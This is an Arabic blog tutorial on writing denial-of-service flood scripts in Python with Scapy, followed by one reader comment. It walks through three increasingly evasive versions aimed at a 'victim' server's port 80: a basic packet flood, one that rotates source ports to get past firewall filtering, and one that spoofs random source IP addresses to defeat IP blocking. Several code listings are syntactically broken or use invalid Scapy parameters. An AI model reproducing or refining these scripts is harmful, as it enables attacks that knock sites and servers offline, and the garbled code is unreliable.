فى هذا الشرح, سنتعرف على هجوم DdoS وفهم كيفية برمجة سكربت خاص بك يقوم بحجب الخدمة عن المواقع
هناك نوعان لهجمات حجب الخدمة وهية
- DoS - Denial-of-Service
- DDoS - Distribted Denial of Service
الفرق بينهما هو أن هجوم الدوس Dos يستخدم كمبيوتر واحد متصل بالإنترنت وهذا النوع تأثيره محدود جدا.
أما هجوم DDoS يستخدم أجهزة كمبيوتر متعددة واتصالات إنترنت لاغراق الهدف بطلبات كثيرة من أجهزة مختلفة في نفس الوقت وهذا النوع هو الاقوى والمستعمل بكثرة في الهجوم على المواقع الالكترونية.
والان سأبدء بالشرح الاساسي وهو كيفية صنع سكربت بأنفسنا وذلك باستعمال لغة البايثون ومكتبة سكابي Scapy
شرح برمجة اداة Dos Attack
أولا تثبيت مكتبة سكابي Scapy عبر الامر التاليpip install scapy
بعد انتهاء تثبيتها قم بفتح ملف واعطه اسم dos.py
الأن قم بكتابة استدعاء للمكتبة سكابي بهذه الطريقة
from scapy.all import *الان سنضيف ثلاث متغيرات ستستقبل المدخلات التي يدخلها المستخدم, وهي الاي بي الخاص بجهاز الهكر Source , والاي بي الخاص بالضحية Target سواء كان موقع او سيرفر او جهاز كمبيوتر, والمدخل الثالث هو البورت المفتوح لدى الضحية والذي سننفذ الهجوم من خلاله
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
الان نكتب الدالة الاساسية الخاصة بسكربت الهجوم داخل حلقة loop لانهائية
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i) i = i + 1
شرح الكود السابق
قمت بانشاء متغير i وهو بمثابة عداد أو معامل زيادة بمقدار واحد.. وهو يعمل مع حلقة while
IP1 هو متغير مررنا له دالة IP خاصة بمكتبة سكابي تحتوي على مدخلين: اي بي المهاجم وايبي الضحية .
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1: عبارة عن بروتوكول يحتاج الى مدخلين وهما البورت الخاص بالهاكر srcport والبورت الخاص بالضحية dstport
pkt: عبارة عن الحزمة التي سنرسلها لاغراق الهدف بالطلبات
وتتكون من الاجبي والبورت السابقين
pkt = IP1 / TCP1
send هو أمر متعلق بمكتبة سكابي لارسال الحزمة التي صنعناها
inter هو مجال زمني بين ارسال الحزمة الاولى والتي تليها
send(pkt, inter = .001)
الامر الاخير هو طباعة عدد الحزم (i) التي قمنا بارسالها
print ("packet sent ", i)
ثم يقوم بزيادة العداد حتى يحسب الباكيت او الحزم المرسلة من طرفنا
i = i + 1
وهذه صورة الكود الكامل للسكربت الذي صنعناه
نحن قمنا الأن ببرمجة أداة تقوم بمهاجمة الضحية سواء كان سيرفر او جهاز او غيره عن طريق بورت محدد
ماذا لو كان عند الضحية جدار حماية وقام بحماية نفسه ؟؟
عن طريق فلترة ومنع البورت الخاص بالهكر من الوصول لجهازه؟ مشكلة اليس كذلك !
مارأيك لو نقوم بخداعه وتغيير البورت الخاص بنا كل ثانية.
تابع ...
نبدأ باضافة حلقة بسيطة للاداة من نوع for وهذه الحلقة دورها هو توليد ارقام عشوائية, من 0 الى 65535, وهذه الارقام سنستغلها على اساس انها بورتات,انظر كيف
from scapy.all import *
src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")
i=1
while True:
for srcport in range(1,65535): IP1 = IP(src=src, dst=target)
TCP1 = TCP(sport=srcport, dport=80) pkt = IP1 / TCP1
send(pkt,inter= .0001)
print "packet sent ", i
i=i+1
ما قمنا باضافته هو وضع الكود السابق الخاص بنا داخل حلقة فور For
for srcport in range(1,65535):
ستقوم هذه الحلقة باخذ رقم من المجال 1 - 65535 ثم تستخدمه على اساس أنه بورت srcport
صورة للسكربت الكامل
لاحظ كم بورت يظهر عند الضحية عند فحص الترافيك على الشبكة بواسطة برنامج wireshark
الأن مادمت قد تعلمت كيفية برمجة سكربت دوس اتاك متطور, دعنى نطوره أكثر من ذي قبل بحيث حتى وان استطاع الضحية من فلترة ومن الاي بي الخاص بنا من يستمر السكربت في الهجوم, ولكن كيف ذلك؟
علينا بتطوير السكربت حتى يقوم بالهجوم السابق Multi Ports مع عدة ايبيات Multi IP ,
Multiple IP multiple port Dos Attack
برمجة سكربت بهذه الخواص أمر معقد قليلا, لكنه ليس مستحيل, يجب عليك التركيز فقط تابع معي:
نقوم باستدعاء مكتبة random اضافة الى scapy
random تقوم بتوليد اعداد عشوائية كما نريد, وباوامر سهلة
import randomمتغير وحيد يطلب من المستخدم ادخال اي بي الضحية
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
while True:طبعا نفس السكربت السابق ولكن الاختلاف يكمن في خاصية توليد الاي بي العشوائي
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
قمن باضافة متغيرات a,b,c,d تحمل رقم عشوائي من 1 - 254 وهي تمثل خانة من خانات الايبي الاربع
ثم اضافنا متغير dot وأسندنا له نقطة , الاي بي النهائي سينتج بهذا الكود بطريقة التعويض:
Source_ip = a + dot + b + dot + c + dot + d
في الجزء الثاني من الكود وهو نفسه في السكربت الاول والثاني, قمنا باسناد الاي بي الذي ينتج من الدالة الاولى لها, ليقوم باستعماله اثناء ارسال الحزم
IP1 = IP(source_IP = source_IP, destination = target_IP)
الايبي يصبح مكان عبارة source ip باللون الاصفر.
صورة للكود من المحرر vscode
شرح اكثر من رائع
ردحذف